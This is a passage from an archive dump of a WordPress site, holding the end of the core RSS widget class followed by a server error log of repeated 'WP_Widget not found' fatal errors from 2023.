	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current RSS widget instance.
	 */
	public function widget( $args, $instance ) {
		if ( isset( $instance['error'] ) && $instance['error'] ) {
			return;
		}

		$url = ! empty( $instance['url'] ) ? $instance['url'] : '';
		while ( ! empty( $url ) && stristr( $url, 'http' ) !== $url ) {
			$url = substr( $url, 1 );
		}

		if ( empty( $url ) ) {
			return;
		}

		// Self-URL destruction sequence.
		if ( in_array( untrailingslashit( $url ), array( site_url(), home_url() ), true ) ) {
			return;
		}

		$rss   = fetch_feed( $url );
		$title = $instance['title'];
		$desc  = '';
		$link  = '';

		if ( ! is_wp_error( $rss ) ) {
			$desc = esc_attr( strip_tags( html_entity_decode( $rss->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) ) ) );
			if ( empty( $title ) ) {
				$title = strip_tags( $rss->get_title() );
			}
			$link = strip_tags( $rss->get_permalink() );
			while ( ! empty( $link ) && stristr( $link, 'http' ) !== $link ) {
				$link = substr( $link, 1 );
			}
		}

		if ( empty( $title ) ) {
			$title = ! empty( $desc ) ? $desc : __( 'Unknown Feed' );
		}

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		if ( $title ) {
			$feed_url  = strip_tags( $url );
			$feed_icon = includes_url( 'images/rss.png' );

			$feed_link = sprintf(
				'<a class="rsswidget rss-widget-feed" href="%1$s"><img class="rss-widget-icon" style="border:0" width="14" height="14" src="%2$s" alt="%3$s"%4$s /></a> ',
				esc_url( $feed_url ),
				esc_url( $feed_icon ),
				/* translators: %s: RSS feed title. */
				esc_attr( sprintf( __( 'RSS feed: %s' ), wp_strip_all_tags( $title ) ) ),
				( wp_lazy_loading_enabled( 'img', 'rss_widget_feed_icon' ) ? ' loading="lazy"' : '' )
			);

			/**
			 * Filters the classic RSS widget's feed icon link.
			 *
			 * Themes can remove the icon link by using `add_filter( 'rss_widget_feed_link', '__return_empty_string' );`.
			 *
			 * @since 5.9.0
			 *
			 * @param string|false $feed_link HTML for link to RSS feed.
			 * @param array        $instance  Array of settings for the current widget.
			 */
			$feed_link = apply_filters( 'rss_widget_feed_link', $feed_link, $instance );

			$title = $feed_link . '<a class="rsswidget rss-widget-title" href="' . esc_url( $link ) . '">' . esc_html( $title ) . '</a>';
		}

		echo $args['before_widget'];
		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

		/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
		$format = apply_filters( 'navigation_widgets_format', $format );

		if ( 'html5' === $format ) {
			// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
			$title      = trim( strip_tags( $title ) );
			$aria_label = $title ? $title : __( 'RSS Feed' );
			echo '<nav aria-label="' . esc_attr( $aria_label ) . '">';
		}

		wp_widget_rss_output( $rss, $instance );

		if ( 'html5' === $format ) {
			echo '</nav>';
		}

		echo $args['after_widget'];

		if ( ! is_wp_error( $rss ) ) {
			$rss->__destruct();
		}
		unset( $rss );
	}

	/**
	 * Handles updating settings for the current RSS widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$testurl = ( isset( $new_instance['url'] ) && ( ! isset( $old_instance['url'] ) || ( $new_instance['url'] !== $old_instance['url'] ) ) );
		return wp_widget_rss_process( $new_instance, $testurl );
	}

	/**
	 * Outputs the settings form for the RSS widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		if ( empty( $instance ) ) {
			$instance = array(
				'title'        => '',
				'url'          => '',
				'items'        => 10,
				'error'        => false,
				'show_summary' => 0,
				'show_author'  => 0,
				'show_date'    => 0,
			);
		}
		$instance['number'] = $this->number;

		wp_widget_rss_form( $instance );
	}
}
                                                                                                                                                                                                                                                                                                                       error_log                                                                                           0000644                 00000460770 15265674674 0006525 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [28-May-2023 21:48:46 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[29-May-2023 07:29:19 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[29-May-2023 07:59:54 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-May-2023 07:47:07 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-May-2023 13:09:59 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-May-2023 23:42:42 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[31-May-2023 06:12:50 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[31-May-2023 23:47:16 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Jun-2023 18:43:29 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Jun-2023 07:58:09 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Jun-2023 12:49:00 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[03-Jun-2023 23:51:05 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[04-Jun-2023 09:52:06 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Jun-2023 00:50:47 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Jun-2023 06:26:25 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Jun-2023 07:31:19 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[07-Jun-2023 14:22:41 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Jun-2023 15:49:57 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Jun-2023 21:45:11 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Jun-2023 22:20:45 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Jun-2023 15:09:03 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Jun-2023 21:56:48 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[11-Jun-2023 09:50:34 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[11-Jun-2023 18:29:01 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[12-Jun-2023 09:35:42 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[13-Jun-2023 15:36:09 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[13-Jun-2023 22:12:54 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[16-Jun-2023 10:04:08 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Jun-2023 16:13:22 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[23-Jun-2023 19:01:16 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-Jun-2023 00:22:57 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Jun-2023 16:50:21 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Jun-2023 18:19:06 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Jun-2023 06:26:42 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Jun-2023 17:22:52 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[29-Jun-2023 11:03:56 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[29-Jun-2023 15:16:12 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Jun-2023 03:16:42 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Jul-2023 02:39:50 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Jul-2023 03:19:22 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Jul-2023 06:27:57 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[04-Jul-2023 09:25:26 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Jul-2023 07:14:29 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Jul-2023 08:51:06 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[07-Jul-2023 04:27:36 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[07-Jul-2023 11:26:26 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Jul-2023 07:01:41 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Jul-2023 14:54:18 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Jul-2023 04:46:30 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Jul-2023 12:47:24 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Jul-2023 02:05:01 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Jul-2023 05:09:40 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Jul-2023 11:47:33 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Jul-2023 14:14:22 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[11-Jul-2023 11:59:39 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[11-Jul-2023 23:54:02 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[12-Jul-2023 20:49:19 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[13-Jul-2023 02:09:02 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[14-Jul-2023 14:02:19 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[15-Jul-2023 09:56:55 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-Jul-2023 01:57:45 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-Jul-2023 13:57:08 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-Jul-2023 15:05:29 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Jul-2023 02:22:12 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[21-Jul-2023 01:02:01 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[21-Jul-2023 12:54:08 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[21-Jul-2023 23:57:33 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[24-Jul-2023 00:41:31 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[24-Jul-2023 20:45:34 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-Jul-2023 10:44:51 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-Jul-2023 11:10:24 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[26-Jul-2023 03:38:15 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Jul-2023 23:19:34 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Jul-2023 08:23:18 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[28-Jul-2023 23:59:00 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[29-Jul-2023 09:32:56 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[29-Jul-2023 13:04:38 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Jul-2023 00:24:48 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Jul-2023 04:47:22 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[31-Jul-2023 00:04:20 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[31-Jul-2023 07:49:21 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[31-Jul-2023 16:56:45 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Aug-2023 06:41:36 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Aug-2023 05:53:15 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Aug-2023 06:43:57 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
